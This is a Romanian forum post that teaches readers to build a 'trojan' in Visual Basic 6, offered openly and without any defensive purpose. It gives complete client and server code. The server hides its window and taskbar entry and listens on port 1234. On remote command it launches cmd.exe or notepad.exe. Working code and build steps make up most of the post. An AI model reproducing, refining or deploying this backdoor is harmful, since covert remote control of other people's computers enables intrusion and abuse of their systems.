Filehost.ro - gazduire fisiere
welcome here ;)
poti gasi aici o parte din ce am adunat io dealungul timpului. credit la tot ce e pe acest forum : google
Nou pe simpatie:
just_iulia la Simpatie.ro
Femeie
25 ani
Giurgiu
cauta Barbat
26 - 48 ani
welcome here ;)ReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
welcome here ;) / SurceCode /

Cum sa faci trojan Client-Server ( PC Control )

Pagini: 1  
#1
filipzeffy
Administrator
Postari: 117
Cum sa faci trojan Client-Server ( PC Control )  in visual basic

1. Client

In client punem un Textbox pentru IP si un buton Command1 pentru conectare . Nu schimbati numele butonului si textboxului . Schimbati numai Captionu . Schimbati numele daca schimbati si codul . Mai punem 2 butoane : unu care va deschide cmd si unu care va deschide notepad .
Pentru a va putea conecta la ip vostru puteti scrie la IP 127.0.0.1
In Form punem urmatorul cod


Code: Select all
Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 1234
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Winsock1.SendData "2"
End Sub

Private Sub Command3_Click()
Winsock1.SendData "3"
End Sub

Private Sub Winsock1_Connect()
Form1.Caption = "Conectat la IP" & Text1.Text
End Sub

Apoi dam click dreapta sub ToolsBox si dam click pe Components , selectam Microsoft Winsock Control 6.0 si dam Apply .
In ToolBox jos ne va aparea o iconita cu 2 calculatoare . Dam click pe iconita si punem un in Form .

Cam asta e tot pentru client . File >> Make Project1.exe si salvam clientu .


2. Server

Facem la fel ca la client : dam click dreapta sub ToolBox >> Components si selectam Microsoft Winsock Control 6.0 si dam Apply . Si punem un winsock in Form .

Apoi punem in server urmatorul cod :


Code: Select all
Private Sub Form_Load()
App.TaskVisible = False
Me.Hide
If App.PrevInstance = True Then
Unload Me
End If
Winsock1.LocalPort = 1234
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data

If data = "2" Then
On Error Resume Next
Shell ("C:\WINDOWS\system32\cmd.exe")
End If

If data = "3" Then
On Error Resume Next
Shell ("C:\WINDOWS\system32\notepad.exe")
End If

End Sub

Si salvam ca server-ul .

Cam asta e tot . Pentru a testa intrati mai intai in sever ( calculatorul nu va pati nimic ) . Apoi intrati in client , la IP scrieti 127.0.0.1 sau IP vostru si dati click pe primul buton . Daca titlul clientului va fi "Conectat la IP 127.0.0.1 ... " inseamna ca merge . Si apasati apoi din client butoanele 2 si 3 . La apasarea butonului 2 se va deschide cmd iar la apasarea butonului 3 se va deschide notepad . Daca s-au deschis inseamna ca merge .


 
   
Pagini: 1  
Mergi la